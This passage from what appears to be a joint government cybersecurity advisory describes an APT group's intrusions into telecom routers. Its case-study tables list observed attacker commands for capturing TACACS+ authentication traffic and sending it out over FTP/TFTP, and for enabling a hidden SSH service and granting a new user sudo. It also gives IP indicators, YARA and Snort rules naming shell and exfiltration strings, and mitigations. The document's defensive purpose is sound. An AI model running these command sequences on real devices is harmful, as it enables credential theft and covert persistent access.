  • Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [T1071]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [T1571].
    • The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of 22x22 or xxx22, though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [T1098.004].
    • The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. Note: HTTP servers have been observed using the port numbering scheme of 18xxx.
      • Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors.
  • Following compromise of a router, the following commands and activities have been observed on compromised devices [T1059.008]:
    • Executing commands via SNMP [T1569].
    • SSH activity from remote or local IP addresses.
    • Web interface panel (POST) requests.
    • When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices.
    • Executing Tcl scripts (e.g., TCLproxy.tcl and map.tcl) on Cisco IOS devices where tclsh was available.
  • Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [T1021]. Note: Properly configured SNMPv3 is considerably more secure than previous versions.
    • Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [T1016].
  • Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [T1572].
    • These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic.
    • Some of these actions may obscure the APT actors’ source IP address in logs due to being logged as a local IP.
  • Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities undetected because activities and data within the container are not monitored closely. [T1610] [T1588.002] [T1588.005] [T1059.006].
    • Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via pip/yum where available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560]. On NX-OS devices specifically, using dohost to script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled with guestshell enable and accessed with guestshell run bash. By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with a VirtualPortGroup interface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [T1609] [T1543.005]
    • For Cisco NX-OS, Guest Shell is an LXC environment entered with run guestshell. It has direct access to bootflash: and can invoke host NX-OS CLI via the dohost utility. Networking uses the device’s default VRF by default. Operators (or malware) can run commands in other VRFs using chvrf. Systemd-managed services are typically long-running components inside Guest Shell.
    • Using guestshell disable and guestshell destroy commands to deactivate and uninstall Guest Shell container and return all resources to the system [T1070.009].
  • Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [T1090.003].

Lateral movement & collection

Following initial access, the APT actors target protocols and infrastructure involved in authentication—such as Terminal Access Controller Access Control System Plus (TACACS+)—to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect packet capture (PCAP) from specific ISP customer networks [T1040] [T1005]. To further support discovery and lateral movement, the APT actors may target: 

  • Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS)
  • Managed Information Base (MIB) [T1602.001]
  • Router interfaces
  • Resource Reservation Protocol (RSVP) sessions
  • Border Gateway Protocol (BGP) routes
  • Installed software
  • Configuration files [T1590.004] [T1602.002]
    • This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information.
  • In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models.
  • Provider-held data, such as:
    • Subscriber information
    • User content
    • Customer records and metadata
    • Network diagrams, inventories, device configurations, and vendor lists
    • Passwords

Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [T1040]. This typically takes the form of:

  • Leveraging native PCAP functionalities (e.g., Cisco’s Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms.
    • PCAPs have been observed containing naming schemes such as mycap.pcaptac.pcap1.pcap, or similar variations.
  • Modifying a router’s TACACS+ server configuration to point to an APT actor-controlled IP address [T1556]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing devices to use less secure authentication methods or send accounting information to their infrastructure.

The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions.

  • Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [T1136.001].
    • Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [T1003] [T1110.002]. Weak credentials, such as “cisco” as the username and password, are routinely exploited through these techniques.
  • Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [T1595].
  • Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as /level/15/exec/-/*, and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [T1082].
    • Many compromised devices use well known SNMP community strings, including “public” and “private”.
  • Configuring PCAP capabilities to collect network traffic.
  • Configuring tunnels.
  • Using monitoring tools present in the environment to monitor a device’s (commonly a router’s) configuration changes.
  • Updating routing tables to route traffic to actor-controlled infrastructure.
  • Using several techniques to avoid detection of their activity, including:
    • Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [T1070].
    • Disabling logging and/or disabling sending logs to central servers.
    • Stopping/starting event logging on network devices.
    • Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [T1610].

Exfiltration

A key concern with exfiltration is the APT actors’ abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [T1599]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs.

Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [T1048.003].

Case study

This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network.

Collecting native PCAP

The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement. 
The commands listed in Table 1 were observed on a Cisco IOS XE-based host to aid PCAP exfiltration.

Table 1: Commands to collect PCAP

  • Command    : monitor capture mycap interface both
  • Description: Set up a packet capture named 'mycap'
  • Command    : monitor capture mycap match ipv4 protocol tcp any any eq 49 
  • Description: Target port 49 on the above interface - TACACS+
  • Command    : monitor capture mycap buffer size 100
  • Description:
  • Command    : monitor capture mycap start
  • Description: Start the capture
  • Command    : show monitor capture mycap buffer brief
  • Description: Check status of capture
  • Command    : monitor capture mycap export bootflash:tac.pcap
  • Description: Export PCAP to file, staging for exfiltration
  • Command    : copy bootflash:tac.pcap ftp://:*@
  • Description: Exfiltration
  • Command    : copy bootflash:tac.pcap tftp:///tac.pcap
  • Description:

Host-level indicators

If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity: 

Capture name: 'mycap' 
Capture rule: 'match ipv4 protocol tcp any any eq 49' 
Exported pcap filename: 'tac.pcap'

tftp remote filename: 'tac.pcap' 
tftp remote IP: [remote IP] 

Enabling SSH access to the underlying Linux host on IOS XR

Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console. 

The built-in sshd_operns service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate.

On IOS XR, sshd_operns is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at init (chkconfig) or equivalent.

In observed intrusions, the APT actors enabled sshd_operns, created a local user, and granted it sudo privileges (e.g., by editing /etc/sudoers or adding a file under /etc/sudoers.d/) to obtain root on the host OS after logging in via TCP/57722. 

The commands listed in Table 2 were executed from the host Linux bash shell as root.

Table 2: Commands to add user to sudoers

  • Command    : service sshd_operns start
  • Description: Starting the sshd_operns service
  • Command    : useradd ciscopassword cisco
  • Description: Adding a new user
  • Command    : sudo vi /etc/sudoers
  • Description: Adding the new user to sudoers
  • Command    : chmod 4755 /usr/bin/sudo
  • Description: As 4755 is the default permissions for sudo, it is unclear why the actors executed this command

Threat hunting guidance

The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the Contact information section for additional reporting information.

The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors’ extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress.

The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities.

The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting:

Monitor configurations changes

  • Pull all configurations for running networking equipment and check for differences with latest authorized versions.
    • Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications.
    • If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM).
    • Verify the authenticity of any configured local accounts and their permission levels.
  • Check all routing tables to ensure that all routes are authorized and expected.
  • Verify that any PCAP commands configured on networking equipment are authorized.

Monitor virtualized containers

  • If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized.
  • For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry.
  • Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded.
  • For IOS XE, hunt for guestshell enable, guestshell run bash, and guestshell disable. On NX-OS, hunt for guestshell enable, run guestshell, and guestshell destroy. Alert on unexpected use of chvrf (running commands under a different VRF) and, on NX-OS, use of dohost (container invoking host CLI).

Monitor network services and tunnels

  • Monitor for management services running on non-standard ports (SSH, FTP, etc.).
  • Hunt for actor-favored protocol patterns:
    • SSH on high non-default ports with 22x22/xxx22 numbering patterns from non-admin source IPs.
    • HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF.
    • TCP/57722 (IOS XR sshd_operns) reachability or flows.
      • Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux sshd_operns service). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected.
    • TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure.
    • FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity.
  • Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine:
    • Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs).
    • Unauthorized use of file transfer protocols, such as FTP and TFTP.
      • Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration.
    • Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel—each of which may leverage different protocols.

Monitor firmware and software integrity

  • Perform hash verification on firmware and compare values against the vendor's database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected.
  • Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information.
  • Use the product’s run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image.
  • Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure.
  • Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files.

Monitor logs

  • Review logs forwarded from network devices for indications of potential malicious behavior, such as:
    • Evidence of clearing locally stored logs,
    • Disabling log creation or log forwarding,
    • Starting a PCAP recording process using available functions,
    • Allowing remote access via non-standard methods or to new locations, and
    • Changes to configuration of devices via non-standard methods or from unexpected locations.
  • Alert on creation/start of any on-box packet capture (e.g., monitor capture ... start, Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS.
  • Inventory and continuously watch monitor session ... (SPAN/ERSPAN) and PCAP state. Naming patterns include mycap and output filenames like mycap.pcap, tac.pcap, and 1.pcap.
  • Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or span/erspan configuration commands, capturing the invoking username and source.
  • Audit for non-root local accounts granted sudo on XR host Linux (e.g., via /etc/sudoers or /etc/sudoers.d/). Where supported, ensure the host operating system (OS) sshd_operns service is disabled and not listening. Validate at each reboot and device upgrade.
  • Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS.
  • Analyze internal FTP Server logs for any logins from unexpected sources.
  • Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes.

If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate.

See the Contact information section of this advisory for response actions that should be taken if malicious activity is confirmed.

Indicators of compromise

IP-based indicators

The following IP indicators were associated with the APT actors’ activity from August 2021 to June 2025. Disclaimer: Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 3: APT-associated IP-based Indicators, August 2021-June 2025

1.222.84[.]29  167.88.173[.]252 37.120.239[.]52 45.61.159[.]25
103.168.91[.]231 167.88.173[.]58 38.71.99[.]145 45.61.165[.]157
103.199.17[.]238 167.88.175[.]175 43.254.132[.]118 5.181.132[.]95
103.253.40[.]199 167.88.175[.]231 45.125.64[.]195 59.148.233[.]250
103.7.58[.]162 172.86.101[.]123 45.125.67[.]144 61.19.148[.]66
104.194.129[.]137 172.86.102[.]83 45.125.67[.]226 63.141.234[.]109
104.194.147[.]15 172.86.106[.]15 45.146.120[.]210 63.245.1[.]13
104.194.150[.]26 172.86.106[.]234 45.146.120[.]213 63.245.1[.]34 
104.194.153[.]181 172.86.106[.]39 45.59.118[.]136 74.48.78[.]66  
104.194.154[.]150 172.86.108[.]11 45.59.120[.]171 74.48.78[.]116  
104.194.154[.]222 172.86.124[.]235 45.61.128[.]29 74.48.84[.]119  
107.189.15[.]206 172.86.65[.]145 45.61.132[.]125 85.195.89[.]94
14.143.247[.]202 172.86.70[.]73 45.61.133[.]157 89.117.1[.]147
142.171.227[.]16 172.86.80[.]15 45.61.133[.]31 89.117.2[.]39
144.172.76[.]213 190.131.194[.]90 45.61.133[.]61 89.41.26[.]142
144.172.79[.]4 193.239.86[.]132 45.61.133[.]77 91.231.186[.]227
146.70.24[.]144 193.239.86[.]146 45.61.133[.]79 91.245.253[.]99
146.70.79[.]68 193.43.104[.]185 45.61.134[.]134 2001:41d0:700:65dc::f656[:]929f
146.70.79[.]81 193.56.255[.]210 45.61.134[.]223 2a10:1fc0:7::f19c[:]39b3
164.82.20[.]53 212.236.17[.]237 45.61.149[.]200
167.88.164[.]166 23.227.196[.]22 45.61.149[.]62
167.88.172[.]70 23.227.199[.]77 45.61.151[.]12
167.88.173[.]158 23.227.202[.]253 45.61.154[.]130

Custom SFTP client

The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another. 

The following SFTP client binaries in Table 4 through Table 7 are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, cmd1 has the additional capability of collecting network packet captures on the compromised network. Note: The cmd3 and cmd1 clients were likely written by the same developer since they have similar build path strings and code structure.

Table 4: cmd3 SFTP client 

  • File Name : MD5 Hash 
  • cmd3 : eba9ae70d1b22de67b0eba160a6762d8 
  • File Name : SHA 256 Hash
  • cmd3 : 8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1
  • File Name : File Size (bytes) 
  • cmd3 : 3506176 
  • File Name : File Type 
  • cmd3 : ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=rHFK_GWSIG3fShYR02ys/Hou3WF-dO9MYtI232CYr/D3n2Irn5doNndtloYkEi/r3IcebaH3y02cYer7tm0 stripped 
  • File Name : Command Line Usage 
  • cmd3 : ./cmd3  
  • File Name : Version String 
  • cmd3 : v1.0 
  • File Name : Build Path String 
  • cmd3 : C:/work/sync/cmd/cmd3/main.go 

Table 5: cmd1 SFTP client

  • File Name : MD5 Hash 
  • cmd1 : 33e692f435d6cf3c637ba54836c63373 
  • File Name : SHA 256 Hash
  • cmd1 : f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4
  • File Name : File Size (bytes) 
  • cmd1 : 3358720 
  • File Name : File Type 
  • cmd1 : ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=N3lepXdViXHdPCh5amSa/LhM5susdTarcmIQEMqku/eplvxiWNUFNeKXjT-6sd/R-eCtbFZFNozRZqEuwZY stripped 
  • File Name : Command Line Usage 
  • cmd1 : ./cmd1  
  • File Name : Version String 
  • cmd1 : V20240816 
  • File Name : Build Path String 
  • cmd1 : C:/work/sync_v1/cmd/cmd1/main.go 

Cmd1 SFTP client Yara rule

rule SALT_TYPHOON_CMD1_SFTP_CLIENT {

meta:

description = "Detects the Salt Typhoon Cmd1 SFTP client. Rule is meant for threat hunting."

strings:

$s1 = "monitor capture CAP"

$s2 = "export ftp://%s:%s@%s%s"

$s3 = "main.CapExport"

$s4 = "main.SftpDownload"

$s5 = ".(*SSHClient).CommandShell"

$aes = "aes.decryptBlockGo"

$buildpath = "C:/work/sync_v1/cmd/cmd1/main.go"

condition:

(uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and 
uint32(uint32(0x3C)) == 0x00004550) or ((uint32(0) == 0xcafebabe)
or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf) 
or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe) 
or (uint32(0) == 0xcffaedfe))) 
and 5 of them

}

Table 6: new2 SFTP client

  • File Name : SHA 256 Hash
  • new2: da692ea0b7f24e31696f8b4fe8a130dbbe3c7c15cea6bde24cccc1fb0a73ae9e
  • File Name : File Type 
  • new2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped

New2 SFTP client Yara rule

rule SALT_TYPHOON_NEW2_SFTP_CLIENT {

meta:

description = "Detects the Salt Typhoon New2 SFTP client. Rule is meant for threat hunting."

strings:

$set_1_1 = "invoke_shell"

$set_1_2 = "execute_commands"

$set_1_3 = "cmd_file"

$set_1_4 = "stop_event"

$set_1_5 = "decrypt_message"

$set_2_1 = "COMMANDS_FILE"

$set_2_2 = "RUN_TIME"

$set_2_3 = "LOG_FILE"

$set_2_4 = "ENCRYPTION_PASSWORD"

$set_2_5 = "FIREWALL_ADDRESS"

$set_3_1 = "commands.log"

$set_3_2 = "Executing command: {}"

$set_3_3 = "Connecting to: {}"

$set_3_4 = "Network sniffer script."

$set_3_5 = "tar -czvf - {0} | openssl des3 -salt -k password -out {0}.tar.gz"

$set_required = { 00 70 61 72 61 6D 69 6B 6F }

condition:

$set_required and 4 of ($set_1_*) and 4 of ($set_2_*) 
and 4 of ($set_3_*)

}

Table 7: sft SFTP client

  • File Name : SHA 256 Hash
  • sft: a1abc3d11c16ae83b9a7cf62ebe6d144dfc5e19b579a99bad062a9d31cf30bfe
  • File Name : File Type 
  • sft: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Q_mmdNzBVit4XSJyGrtd/ampmN-03i9bT1qzD9njH/MFeCrtuGl37O7UNKFQyk/sBN-cduKnfSAvXO7jzGG, with debug_info, not stripped

CVE 2023-20198 Snort rule

alert tcp any any -> any $HTTP_PORTS (msg:"Potential CVE-2023-20198 exploit attempt - HTTP Request to Add Privilege 15 User Detected"; content:"POST"; http_method; pcre:"/(webui_wsma|%2577ebui_wsma|%2577eb%2575i_%2577sma)/i"; http_uri; content:"<request xmlns=\"urn:cisco:wsma-config\" correlator=\"execl\">"; http_client_body; content:"<configApply details=\"all\">"; http_client_body; content:"<config-data>"; http_client_body; content:"<cli-config-data-block>"; http_client_body; content:"username"; http_client_body; content:"privilege 15"; http_client_body; content:"secret"; http_client_body; sid:1000003; rev:1;)

Mitigations

These APT actors are having considerable success using publicly known CVEs to gain access to networks, so organizations are strongly encouraged to prioritize patching in a way that is proportionate to this threat, such as by sequencing patches to address the highest risks first. See CISA’s Known Exploited Vulnerabilities Catalog for further information. Specifically, organizations should ensure edge devices are not vulnerable to the known exploited CVEs identified in this advisory—CVE-2024-21887, CVE-2024-3400, CVE-2023-20273, CVE-2023-20198, and CVE-2018-0171. This list is not exhaustive.

Note: This advisory uses MITRE D3FEND™, version 1.2.0, cybersecurity countermeasures. See the Appendix C: MITRE D3FEND Countermeasures section of this advisory for a table of the mitigations mapped to MITRE D3FEND countermeasures.

General recommendations

  • Regularly review network device (especially router) logs and configurations for evidence of any unexpected, unapproved, or unusual activity, especially for the activities listed in this advisory [D3-PM]. In particular, check for:
    • Unexpected GRE or other tunneling protocols, especially with foreign infrastructure [D3-NTCD].
    • Unexpected external IPs set as a TACACS+ or RADIUS server, or other AAA service configuration modifications.
    • Unexpected external IPs in ACLs.
    • Unexpected packet capture or network traffic mirroring settings.
    • Unexpected virtual containers running on network devices, or, where virtual containers are expected, unexpected commands within the containers.
  • Employ a robust change management process that includes periodic auditing of device configurations [D3-PM].
    • Ensure all networking configurations are stored, tracked, and regularly audited via a change management process. A change management process audits approved configurations against what is currently running in an organization’s infrastructure.
    • Review firewall rule creation and modification dates, cross referencing against change management approvals, to detect unauthorized rules or rule changes.
    • Create alarms or alerts for unusual router administration access, commands, or other activity.
  • Attempt to identify the full scope of a suspected compromise before mitigating. While it is important to contain the intrusion and prevent further malicious activity, if the full scope is not identified and mitigated fully, the actors may retain access and cause further malicious activity. Threat hunting and incident response efforts should be balanced against the total potential malicious activity with the goals of full eviction and minimizing damage.
    • An established compromise by these APT actors will likely include recurring, large-scale exfiltration from the compromised network. In at least one instance, the APT actors utilized GRE and MPLS tunnels to move data back to China.
  • Disable outbound connections from management interfaces to limit possible lateral movement activity between network devices [D3-OTF].
  • Disable all unused ports and protocols (both traffic and management protocols) [D3-ACH]. Only use encrypted and authenticated management protocols (e.g., SSH, SFTP/SCP, HTTPS) and disable all others, especially unencrypted protocols (e.g., Telnet, FTP, HTTP).
  • Change all default administrative credentials, especially for network appliances and other network devices [D3-CFP].
  • Require public-key authentication for administrative roles. Disable password authentication where operationally feasible. Minimize authentication attempts and lockout windows to slow brute force and sprayed attempts [D3-CH].
  • Use the vendor recommended version of the network device operating system and keep it updated with all patches. Upgrade unsupported network devices to ones that are supported by the vendor with security updates [D3-SU].

Hardening management protocols and services

  • Implement management-plane isolation and control-plane policing (CoPP) [D3-NI].
    • Place all device management services (SSH, HTTPS, SNMP, TACACS+/RADIUS, SCP/SFTP) strictly in a dedicated out-of-band management network or a management VRF.
    • Ensure this management VRF has no route leakage to customers or peering VRFs and cannot initiate or receive sessions from data-plane or peering address space [D3-ITF].
    • Block all egress from the management VRF except to explicitly authorized AAA/syslog/NetFlow/IPFIX/telemetry collectors to prevent actor use of management interfaces as lateral movement conduits or exfiltration paths.
    • Apply explicit management-plane ACLs at the control plane (e.g., CoPP/CPPr) to allowlist (i.e., default-deny) and rate-limit management protocols. Allow only approved management station IPs/subnets and jump servers.
      • Apply these restrictions to all SNMP, TACACS+/RADIUS (TCP/UDP 49/1812/1813), HTTPS (TCP/443 and any configured non-default port), SSH (TCP/22 and any configured non-default port), and SFTP/SCP.
      • For devices that do not support ACLs, place on a separate management Virtual Local Area Network (VLAN); an ACL can be applied to this management VLAN from an upstream device, such as a router or Layer 3 switch.
  • Use SSHv2 only and disable Telnet. Audit and restrict SSH on non-default ports (e.g., 22x22 and xxx22 patterns) commonly used by the APT actors.
  • If a web interface is operationally required, bind it only to the management VRF/interface. Use HTTPS only and disable unencrypted HTTP. Require AAA for web interface access. Monitor and alert on non-default high HTTPS ports (e.g., 18xxx) observed in intrusions.
  • Use SNMPv3 only, and disable SNMPv1 and SNMPv2. Configure Trusted Managers and ACLs to limit SNMP access to only trusted devices.
    • Change all weak and default SNMP community strings.
    • Restrict and monitor SNMP writes.
    • Enforce SNMPv3 with authPriv and apply VACM views that exclude configuration-altering MIB objects from write access. Only grant read access for required OIDs; reserve write access for tightly scoped automation accounts from approved managers.
  • Continuously monitor SNMP SET operations and alert on changes to AAA servers, HTTP/HTTPS enablement or port changes, tunnel interfaces, SPAN/ERSPAN sessions, and routing and ACL objects. Actor tradecraft includes issuing SNMP SETs to make covert configuration changes at scale.
  • Configure only strong cryptographic cipher suites for all management protocols (e.g., SSH, SFTP, HTTPS) and reject all weak ones.
  • Enforce per-protocol rate limits (particularly for SSH, HTTPS, SNMP, TACACS+/RADIUS) to blunt credential-guessing and slow “low-and-slow" abuse of built-in functions (e.g., Embedded Packet Capture, tunnel setup) without denying legitimate admin access.
  • Eliminate unintended IPv6 management exposure.
    • If IPv6 is enabled, apply equivalent controls for IPv6 as for IPv4.
    • Enforce management-plane ACLs and CoPP for IPv6. Bind management services only to the management VRF/interface in IPv6.
    • Audit for IPv6-reachable management services and tunnels, as the APT actors’ infrastructure includes IPv6 addresses. 

Implementing robust logging

  • Ensure logging is enabled and forwarded to a centralized server. Set the trap and buffer logging levels on each device to at least syslog level “informational” (code 6) to collect all necessary information.
  • Ensure all logs sent to a centralized logging server are transmitted via a secure, authenticated, and encrypted channel (such as IPsec, TLS, or SSH tunnels). The central server should maintain immutable logs with retention periods sufficient to support cybersecurity incident response investigations and comply with applicable retention policies.
  • Enable AAA command accounting for privileged commands to record any attempts to invoke those commands.

Routing best practices

  • Utilize routing authentication mechanisms, when possible.
  • Protect peering and edge routing paths often abused for covert redirection.
    • Continuously validate static routes, policy-based routing (PBR), and VRF-leak policies at peering edges. Alert on additions that steer traffic toward non-standard GRE/IPsec endpoints or unexpected next hops.
  • Enforce maximum-prefix limits, strict prefix/AS-path filtering, and “only-expected” communities on all external BGP (eBGP) sessions. Deny default and overly broad routes.
  • Enable TTL security (GTSM) or equivalent for eBGP to reduce off-path attack surface.
  • Require session protection (TCP-AO where supported, otherwise MD5) and monitor for BGP session resets and parameter changes from unexpected management origins.

Virtual Private Network (VPN) best practices

  • Delete default VPN Internet Key Exchange (IKE) policies and associated components.
  • Create IKE policies consistent with applicable requirements and guidance on cryptographic algorithm use. For U.S. National Security Systems, follow Committee on National Security Systems Policy (CNSSP) 15 and other applicable policies:
    • Diffie-Hellman Group: 16 with 4096 bit Modular Exponential (MODP)
    • Diffie-Hellman Group: 20 with 384 bit Elliptic Curve Group (ECP)
    • Encryption: AES-256
    • Hashing: SHA-384 

Cisco-specific recommendations

  • Disable the Cisco Smart Install feature.
  • Store credentials using strong cryptography.
    • Protect local credentials on Cisco networking devices using Type 8 (PBKDF2-SHA-256) where supported. Do not use Type 7 and transition from Type 5 (MD5) when possible.
